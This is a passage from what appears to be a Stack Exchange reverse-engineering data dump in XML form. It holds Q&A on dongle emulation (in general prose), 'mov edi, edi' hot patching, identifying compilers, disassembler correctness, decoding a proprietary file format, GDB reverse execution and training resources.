driver had to be written to sniff the IRPs from and to the device. Then the algorithm used for encryption had to be found out. Luckily not all was done in hardware which provided the loop hole for us. In the end we had a little driver that would pose as the dongle. Its functionality was extended so far as to read out a real dongle, save the data (actually pass it to a user mode program saving it) and then load it back to pose as this dongle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt; dongles, no matter which kind, if they &lt;em&gt;implement&lt;/em&gt; core functionality of the program to which they belong will be hard to crack. For everything else it mostly depends on the determination and willingness to put in time of the person(s) that set out to work around the dongle.&#xA;As such I would say that dongles pose a considerable hindrance - if implemented correctly - but in cases of negligence on part of the software vendor seeking to protect his creation also mere snake oil.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take heed from the very last paragraph in Peters answer. But I would like to add one more thought. Software that is truly worth the effort of being protected, because it is unique in a sense, shouldn't be protected on the basis of customer harassment (== most copy protection schemes). Instead consider the example of IDA Pro, which can certainly be considered pretty unique software. They watermark the software to be able to track down the person that leaked a particular bundle. Of course, as we saw with the ESET leak, this doesn't help always, but it creates &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/hallofshame/index.shtml&quot;&gt;deterrence&lt;/a&gt;. It'll be less likely that a cracker group gets their hands on a copy, for example.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-03-25T01:11:25.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="250" PostTypeId="1" AcceptedAnswerId="251" CreationDate="2013-03-25T09:56:00.087" Score="71" ViewCount="14388" Body="&lt;p&gt;I see this instruction in the beginning of several Windows programs.&#xA;It's copying a register to itself, so basically, this acts as a &lt;code&gt;nop&lt;/code&gt;.&#xA;What's the purpose of this instruction?&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="1315" LastEditDate="2013-03-31T12:40:13.397" LastActivityDate="2020-08-27T17:34:51.317" Title="What is the purpose of 'mov edi, edi'?" Tags="|disassembly|windows|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="251" PostTypeId="2" ParentId="250" CreationDate="2013-03-25T10:03:12.540" Score="81" Body="&lt;p&gt;Raymond Chen (Microsoft) has a blog post discussing this in detail:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20110921-00/?p=9583&quot; rel=&quot;noreferrer&quot;&gt;https://devblogs.microsoft.com/oldnewthing/20110921-00/?p=9583&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In short, it's a compile time addition applied in order to support run time hot patching, so the function can have the first two bytes overwritten with a JMP instruction to redirect execution to another piece of code.&lt;/p&gt;&#xA;" OwnerUserId="123" LastEditorUserId="34251" LastEditDate="2020-08-27T17:34:51.317" LastActivityDate="2020-08-27T17:34:51.317" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="252" PostTypeId="1" AcceptedAnswerId="253" CreationDate="2013-03-25T14:41:09.427" Score="7" ViewCount="334" Body="&lt;p&gt;I have an executable file and I would like to figure out which programming language was the source code written in. The first step would be to use a disassembler. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should be done after that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I read that determining which libraries are used during runtime would be a good indicator of the programming language being used. How should I determine which libraries are used ?&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-03-25T19:21:51.037" Title="How should I go about trying to figure out the programming language that was used?" Tags="|linux|executable|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="253" PostTypeId="2" ParentId="252" CreationDate="2013-03-25T15:03:30.617" Score="10" Body="&lt;p&gt;Actually I would suggest that you view the executeable with a hex viewer/editor. That way you can see straight away if the compiler embedded any strings as hints. You should also consider that some languages use C as an intermediate language. An example of that would be &lt;a href=&quot;http://www.netlib.org/f2c/&quot; rel=&quot;nofollow noreferrer&quot;&gt;f2c&lt;/a&gt; a Fortran 77 to C compliler. It appears that f2c also links a support library so you would look for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as determinining which libraries are used on linux you can use the &lt;a href=&quot;https://stackoverflow.com/questions/5554343/understanding-ldd-output&quot;&gt;ldd command&lt;/a&gt; for dynamic binaries and &lt;a href=&quot;http://cboard.cprogramming.com/linux-programming/71132-static-library-how-do-i-list.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;nm for static ones&lt;/a&gt; to dump the symbols. Also there is a &lt;a href=&quot;https://stackoverflow.com/questions/1704202/determine-source-language-from-a-binary&quot;&gt;related question on SO.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an intersting blog from a fellow RE member about how the binary you have &lt;a href=&quot;http://www.mimisbrunnr.net/~munin/blog/&quot; rel=&quot;nofollow noreferrer&quot;&gt;might not even come from a compiler&lt;/a&gt; and how to recognise that. &lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-03-25T16:29:13.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="254" PostTypeId="2" ParentId="252" CreationDate="2013-03-25T16:04:26.757" Score="9" Body="&lt;p&gt;There are several tools that I have used:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tuts4you.com/download.php?view.398&quot;&gt;PEiD&lt;/a&gt; (PE iDentifier)&lt;/li&gt;&#xA;&lt;li&gt;I've also followed &lt;a href=&quot;https://code.google.com/p/pefile/wiki/PEiDSignatures&quot;&gt;this guide&lt;/a&gt; and converted PEiD signatures to YARA signatures and simply used &lt;a href=&quot;https://code.google.com/p/yara-project/&quot;&gt;YARA&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mark0.net/soft-trid-e.html&quot;&gt;TRiD&lt;/a&gt; can also provide another way to identify the compiler used&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's also worth mentioning that if you submit a file to &lt;a href=&quot;https://www.virustotal.com&quot;&gt;Virus Total&lt;/a&gt;, they will run TRiD against your binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These tools are not always definitive, but they can generally give you the correct compiler (and therefore language) that was used.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-03-25T16:04:26.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="255" PostTypeId="1" AcceptedAnswerId="259" CreationDate="2013-03-25T17:02:44.300" Score="10" ViewCount="472" Body="&lt;p&gt;A disassembler is supposed to produce a human readable representation of the binary program. But the most well known techniques: &lt;em&gt;linear sweep&lt;/em&gt; and &lt;em&gt;recursive traversal&lt;/em&gt; (see this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/139/what-are-the-techniques-disassemblers-use-to-process-a-binary/140#140&quot;&gt;comment&lt;/a&gt; for more) are known to be easily mislead by specific tricks. Once tricked, they will output code that will never be executed by the real program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought there exists new techniques and new tools more concerned about correctness (eg &lt;a href=&quot;http://www.jakstab.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jakstab&lt;/a&gt;, &lt;a href=&quot;http://www.grammatech.com/research/technologies/mcveto&quot; rel=&quot;nofollow noreferrer&quot;&gt;McVeto&lt;/a&gt;, ...), the notion of &lt;em&gt;correctness&lt;/em&gt; of the output has never been properly defined, up to my knowledge, for disassemblers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a good definition of a disassembler, what would be a proper definition of correctness for its output and how would you classify the existing disassemblers in regard of this definition of &lt;em&gt;correction&lt;/em&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-03-27T18:56:15.800" Title="What is a correct disassembler?" Tags="|obfuscation|disassembly|static-analysis|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="256" PostTypeId="5" CreationDate="2013-03-25T17:52:11.033" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://standards.ieee.org/findstds/standard/15205-2000.html&quot; rel=&quot;nofollow&quot;&gt;IEEE ISO/IEC 15205:2000 (IEEE Std 1496-1993) SBus -- Chip and Module Interconnect Bus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This bus was common used in Sun MicroSystems Sparc workstations and servers during the 1990's and was submitted as an IEEE standard.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-03-26T06:05:33.940" LastActivityDate="2013-03-26T06:05:33.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="257" PostTypeId="4" CreationDate="2013-03-25T17:52:11.033" Score="0" Body="IEEE ISO/IEC 15205:2000 (IEEE Std 1496-1993) SBus -- Chip and Module Interconnect Bus" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-03-26T06:01:20.273" LastActivityDate="2013-03-26T06:01:20.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="258" PostTypeId="2" ParentId="255" CreationDate="2013-03-25T18:29:04.757" Score="2" Body="&lt;h2&gt;What is a disassembler ?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I would decompose a disassembler into two parts, first a &lt;strong&gt;decoder&lt;/strong&gt; that takes an hexadecimal code and output an assembly instruction (possibly with the length of the decoded instruction if the assembly language has variable length instructions). And, then a &lt;strong&gt;disassembly algorithm&lt;/strong&gt; that will use the decoder to browse through the executable code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The overall goal of a disassembler, in my humble opinion, would be to recover all the possible runs that can be built from a given executable and to present it in a concise and human readable format.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Problems in disassembly&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are many problems that a disassembler can encounter when disassembling a binary program. One of the most difficult would be to deal with &lt;strong&gt;self-modifying&lt;/strong&gt; code. Indeed, til now there is no real good human readable representation for self-modifying program. So, all disassemblers when facing a self-modifying code fail miserably to output something clearly understandable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem that can stop a disassembler is that from time to time the binary program jump to another place to execute some code (function calls, if-then-else, switches, ...). And, if most of these jumps are &lt;em&gt;static&lt;/em&gt; (the address where to jump is statically coded into the code), there are some jumps that depends on the context of the execution.  We usually call these jumps &lt;strong&gt;dynamic jumps&lt;/strong&gt; (opposed to &lt;em&gt;static&lt;/em&gt; jumps). These dynamic jumps force the disassembler to track not only the syntax of the instructions but also their semantics in order to not be lost when encountering it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally a last problem is that not all the binary programs can be assumed to follow a precise ABI (Application Binary Interface), defining a precise interface for function calls or a way to handle data-structures. Indeed, some binary programs are either crafted by hand or with a modified compiler that will try to mislead disassemblers. Therefore, the disassembler will have to recognize a function call by its semantics and not only by its syntax.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Correctness of a disassembler&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As we stated previously, the ultimate goal of a disassembler is to rebuild all the possible traces of execution from a binary program. Of course, most of the time this is extremely difficult, so we can define three types of disassemblers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Exact disassembler&lt;/strong&gt; : Hypothetically, it should issue all the correct traces that can be run on the binary program, and only these traces.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Over-approximated disassembler&lt;/strong&gt; : The output of this one should &lt;em&gt;include&lt;/em&gt; all the possible traces, possibly with some extra ones.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Under-approximated disassembler&lt;/strong&gt; : The output of this one should &lt;em&gt;be included&lt;/em&gt; into the possible traces but not provide any infeasible ones.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Existing techniques and where to classify them&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For now, the two most popular techniques are &lt;strong&gt;linear sweep&lt;/strong&gt; and &lt;strong&gt;recursive traversal&lt;/strong&gt; (see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/139/what-are-the-techniques-disassemblers-use-to-process-a-binary/140#140&quot;&gt;here&lt;/a&gt; for more details). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both are quite widely used in the wild by numerous reverse-engineers. But, actually, none of these technique is neither exact, nor an over-approximation, nor an under-approximation. They both output something which is none of what we just seen before (sometime they will invent a path that will never be reached, and sometime they will forget about another one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More advanced techniques with more concern about the correctness exists (eg &lt;a href=&quot;http://www.jakstab.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jakstab&lt;/a&gt;, &lt;a href=&quot;http://www.grammatech.com/research/technologies/mcveto&quot; rel=&quot;nofollow noreferrer&quot;&gt;McVeto&lt;/a&gt;, &lt;a href=&quot;http://research.cs.wisc.edu/wpis/examples/mcveto/&quot; rel=&quot;nofollow noreferrer&quot;&gt;McVeto on self-modifying code&lt;/a&gt;, ...), but the quest for &lt;strong&gt;exact&lt;/strong&gt; recovery is surely out of reach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, choosing between &lt;strong&gt;under&lt;/strong&gt; and &lt;strong&gt;over-approximation&lt;/strong&gt; depends of what will be the usage of the disassembler output.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-03-25T18:29:04.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="259" PostTypeId="2" ParentId="255" CreationDate="2013-03-25T19:02:55.480" Score="17" Body="&lt;p&gt;I'm the author of &lt;a href=&quot;http://rainbowsandpwnies.com/rdis/&quot;&gt;rdis&lt;/a&gt; and have put a bit of thought into this problem. I recommend taking a look at my &lt;a href=&quot;http://rainbowsandpwnies.com/~endeavor/blog/&quot;&gt;blog&lt;/a&gt; if you have more questions after this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also refer you to Andrew Ruef's blog post &lt;a href=&quot;http://www.mimisbrunnr.net/~munin/blog/binary-analysis-isnt.html&quot;&gt;Binary Analysis Isn't&lt;/a&gt;. The key take away is we often attempt to understand our programs with the context of compilers, and not necessarily as just a continuum of instructions. He coins the term, &quot;Compiler Output Analysis,&quot; which is more or less what we attempt to achieve in our disassemblers.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Terms and Definitions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Start over with your definitions of terms common to disassembly. We have data, or state, which can be composed of memory, registers,  all the good stuff. We have code, which is &lt;em&gt;a label we apply to data we expect the machine to execute&lt;/em&gt; (we'll come back to code). We have a program, which is an algorithm encoded in the data which, when interpreted by a machine, causes the data to be manipulated in a certain way. We have a machine which is a mapping of one state to another. We have instructions which, for our purposes, exist at a single point in time and are composed of specific pieces of data which control the way our machine manipulates data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often times we believe our goal is the transformation of code, the data we expect to be executed by the machine, into a readable disassembly. I believe we do this because of our division of program analysis between Control-Flow Analysis (Code) and Data-Flow Analysis (Data). In program analysis, our code is state-less, and our data has state. In reality, our code is just data, it all has state.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Program Recovery&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Instead, our goal should be the recovery of the program by observation or prediction of the machine. In other words, we are not interested in transforming data into a readable disassembly, but in discovering the instructions which will be interpreted by our machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, our representation of the program should be stored &lt;em&gt;separately&lt;/em&gt; from our stateless representation of data, which is usually the initial memory layout given to us by our executable file (ELF/PE/MACH-O/etc). Really, it should be stored in a directed graph. When I see a linear representation of memory with multiple locations labelled as instructions, I shutter. You don't know yet!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the next step in disassembly involves processes which make better predictions about machines by allowing for changes in state during the disassembly process. I believe we will have both emulated disassembly and abstract disassembly. Some people are, more or less, doing this already, though I am unsure if anyone is doing it expressly for the purpose of creating usable and understandable &quot;program recoveries&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example of the difference between a recursive disassembly of a program and an emulated disassembly of a program &lt;a href=&quot;http://rainbowsandpwnies.com/~endeavor/blog/a-magical-time-traveling-control-flow-graph.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What is a correct disassembler?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So, now to answer your question, &quot;What is a correct disassembler?&quot; I believe a correct disassembler is one which clearly defines the behavior of its program recovery process and adheres to this definition. Once we get disassemblers which do THAT, the better disassemblers will be the ones whose definitions best predict the behavior of the machines for which they recover programs.&lt;/p&gt;&#xA;" OwnerUserId="216" LastActivityDate="2013-03-25T19:02:55.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="261" PostTypeId="1" AcceptedAnswerId="264" CreationDate="2013-03-25T21:45:01.723" Score="27" ViewCount="20807" Body="&lt;p&gt;How should I begin trying to reverse engineer this file format? The only thing I can think of is saving a simple file, and then dig in with a hex editor. But since the file format may be some kind of archive, that seems like the wrong approach. I've always been a little interested in the idea of reverse-engineering a file format, but I never actually attempted it. How should I begin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, I am interested in &lt;a href=&quot;http://smarttech.com/us/Solutions/Education+Solutions/Products+for+education/Software/SMART+Notebook+collaborative+learning+software/SMART+Notebook+collaborative+learning+software&quot;&gt;Smart Notebook&lt;/a&gt; which loads and saves data into .notebook files.  This is an undocumented proprietary file format. SMART is the leading manufacturer of white boards and their notebook software is therefore one of the most popular formats for educational (presentation) content. There is an open standard for whiteboard files and &lt;a href=&quot;http://open-sankore.org/&quot;&gt;Open Sankore&lt;/a&gt; is an open source program that can open and save them.  However, Smart Notebook is not fully compatible with the open whiteboard format so I really would like to understand the .notebook file format so that I can write software that makes use of it. The open stand (.iwb files) are zip archives that contain images and SVG data. It occurs to me that .notebook files may also be compressed or at least contain a number of sub-files within it (like images and swf files).  &lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2013-03-27T17:53:47.173" LastActivityDate="2017-11-25T11:21:01.837" Title="How to reverse engineer a proprietary data file format (e.g. Smartboard Notebook)?" Tags="|file-format|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="262" PostTypeId="2" ParentId="243" CreationDate="2013-03-25T22:03:38.433" Score="7" Body="&lt;p&gt;The feature is described in a bit more detail on &lt;a href=&quot;http://sourceware.org/gdb/wiki/ProcessRecord&quot; rel=&quot;noreferrer&quot;&gt;GDB wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h2&gt;How it works&lt;/h2&gt;&#xA;&lt;p&gt;Process record and replay works by logging the execution of each&#xA;machine instruction in the child process (the program being debugged),&#xA;together with each corresponding change in machine state (the values&#xA;of memory and registers). By successively &amp;quot;undoing&amp;quot; each change in&#xA;machine state, in reverse order, it is possible to revert the state of&#xA;the program to an arbitrary point earlier in the execution. Then, by&#xA;&amp;quot;redoing&amp;quot; the changes in the original order, the program state can be&#xA;moved forward again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ckernel.org/news/hellogcc/prec.pdf&quot; rel=&quot;noreferrer&quot;&gt;This presentation&lt;/a&gt; describes even more of the internals.&lt;/p&gt;&#xA;&lt;p&gt;In addition to above, for some remote targets GDB can make use of their &amp;quot;native&amp;quot; &lt;a href=&quot;http://sourceware.org/gdb/current/onlinedocs/gdb/Reverse-Execution.html&quot; rel=&quot;noreferrer&quot;&gt;reverse execution&lt;/a&gt; by sending Remote Serial Protocol &lt;a href=&quot;http://sourceware.org/gdb/current/onlinedocs/gdb/Packets.html&quot; rel=&quot;noreferrer&quot;&gt;packets&lt;/a&gt; &lt;code&gt;bc&lt;/code&gt; (backward continue) and &lt;code&gt;bs&lt;/code&gt; (backward step). Such targets &lt;a href=&quot;http://sourceware.org/gdb/news/reversible.html&quot; rel=&quot;noreferrer&quot;&gt;include&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;moxie-elf simulator&lt;/li&gt;&#xA;&lt;li&gt;Simics&lt;/li&gt;&#xA;&lt;li&gt;VMware Workstation 7.0&lt;/li&gt;&#xA;&lt;li&gt;the SID simulator (xstormy16 architecture)&lt;/li&gt;&#xA;&lt;li&gt;chronicle-gdbserver using valgrind&lt;/li&gt;&#xA;&lt;li&gt;UndoDB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-03-25T22:03:38.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="263" PostTypeId="2" ParentId="261" CreationDate="2013-03-25T22:56:19.703" Score="21" Body="&lt;p&gt;I downloaded &lt;a href=&quot;http://dl.dropbox.com/u/38378765/words/abc%20chant.notebook&quot;&gt;&lt;code&gt;abc chant.notebook&lt;/code&gt;&lt;/a&gt; from the site cb88 linked to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file &quot;abc chant.notebook&quot;&#xA;abc chant.notebook: Zip archive data, at least v2.0 to extract&#xA;$ unzip -t &quot;abc chant.notebook&quot; &#xA;Archive:  abc chant.notebook&#xA;    testing: images/temp(1).png       OK&#xA;    ... about 200 similar lines ...&#xA;    testing: attachments/Zachary.JPG   OK&#xA;No errors detected in compressed data of abc chant.notebook.&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a valid zip file containing mostly XML and image files. Are the &lt;code&gt;.notebook&lt;/code&gt; files you were referring to different from this file? If so, could you upload a sample?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this doesn't really go into the process behind reversing a proprietary file format, for which I apologise. Hopefully someone else can provide a more interesting answer in this respect.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-03-25T22:56:19.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="264" PostTypeId="2" ParentId="261" CreationDate="2013-03-25T22:57:15.463" Score="19" Body="&lt;p&gt;Well, obviously the particulars will very much depend on the particulars of the file format and what you expect to achieve in general. However, some steps will largely be the same. One thing you could do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;try hard to find all kinds of clues about the format. This can be a small note in some bulletin board or the cached copy of some year old website that has since vanished. Often the gems won't pop up as top search results when you are looking for something specific enough. Weeding through pages of search results &lt;em&gt;can make sense&lt;/em&gt;. Als make sure to use tools such as &lt;code&gt;file&lt;/code&gt; which look for magic bytes and would be able to identify things not obvious to the naked eye.&lt;/li&gt;&#xA;&lt;li&gt;find a proprietary program that uses the format and is able to read/write it (you seem to have that)&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a trial &amp;amp; error technique such as making distinct changes to the document, saving them and observing and noting down the differences, AFAIK this is how the MS Office file formats were decoded initially for StarOffice (now OOo and LibreOffice)&lt;/li&gt;&#xA;&lt;li&gt;reverse engineer the program itself to find the core routines reading and writing the data format&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;find an open source program in the same way -&gt; read its source&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you understand the language in which the program from option 3 is written, no problem at all. If you don't have that or if you are faced with other challenges then you have to resort to the good old technique outlined in point 2, patching gaps with pieces you gather with method 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point 2.1 should be obvious: you want to find out how recursive text is encoded? Type some text, format it, save, observe the change. Rinse, lather, repeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point 2.2 will take a lot more effort and should likely be used sparsely to make sure you got details from 2.1 right.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-03-25T22:57:15.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="265" PostTypeId="1" AcceptedAnswerId="267" CreationDate="2013-03-25T23:14:30.373" Score="64" ViewCount="32338" Body="&lt;p&gt;Can someone give a list of websites with good (and free) reverse engineering training exercises ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="189" LastEditDate="2013-04-05T14:24:12.593" LastActivityDate="2021-02-15T10:29:08.117" Title="Where to find (free) training in reverse engineering?" Tags="|obfuscation|cryptography|" AnswerCount="6" CommentCount="2" ClosedDate="2013-03-26T15:36:35.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="266" PostTypeId="2" ParentId="265" CreationDate="2013-03-25T23:19:26.080" Score="15" Body="&lt;p&gt;Here are the websites I know:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.root-me.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;root-me&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://crackmes.one/&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackmes.one&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.overthewire.org/wargames/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Over the Wire&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://lehack.org/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Le Hack&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hacking-lab.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hacking Labs&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://smashthestack.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Smash the Stack&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://microcorruption.com/login&quot; rel=&quot;nofollow noreferrer&quot;&gt;Matasano Microcorruption&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cryptopals.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Matasano Crypto-challenge&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pentesterlab.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pentesterlab&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hackthebox.eu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HackTheBox&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2021-02-15T10:29:08.117" LastActivityDate="2021-02-15T10:29:08.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="267" PostTypeId="2" ParentId="265" CreationDate="2013-03-25T23:28:47.567" Score="50" Body="&lt;p&gt;The organisation OpenSecurityTraining offers &lt;a href=&quot;http://opensecuritytraining.info/Training.html&quot; rel=&quot;noreferrer&quot;&gt;free training materials&lt;/a&gt; under creative commons type licenses. Many of the training's are &lt;a href=&quot;http://www.youtube.com/user/OpenSecurityTraining/videos?view=1&amp;amp;flow=grid&quot; rel=&quot;noreferrer&quot;&gt;videos&lt;/a&gt;, while others are slide decks and related class materials (scripts, malware samples and so on). The course-ware comes under 3 categories and features the following items (Which I have edited to include the RE related material):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Beginner:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PL038BE01D3BAEFDB0&quot; rel=&quot;noreferrer&quot;&gt;Introductory Intel x86&lt;/a&gt;: Architecture, Assembly, Applications, &amp;amp; Alliteration &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLUFkSN0XLZ-n91t_AX5zO007Giz1INwPd&quot; rel=&quot;noreferrer&quot;&gt;Introduction to ARM&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLUFkSN0XLZ-n_Na6jwqopTt1Ki57vMIc3&quot; rel=&quot;noreferrer&quot;&gt;The Life of Binaries&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLUFkSN0XLZ-kqYbGpY4Gt_VATd4ytQg-Z&quot; rel=&quot;noreferrer&quot;&gt;Malware Dynamic Analysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLUFkSN0XLZ-kBgdLhorJD6BR66D5kGoUV&quot; rel=&quot;noreferrer&quot;&gt;Introduction to Trusted Computing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Intermediate:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PL8F8D45D6C1FFD177&quot; rel=&quot;noreferrer&quot;&gt;Intermediate Intel x86&lt;/a&gt;: Architecture, Assembly, Applications, &amp;amp; Alliteration &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PL96AB65DFCE02EE3E&quot; rel=&quot;noreferrer&quot;&gt;Introduction to Software 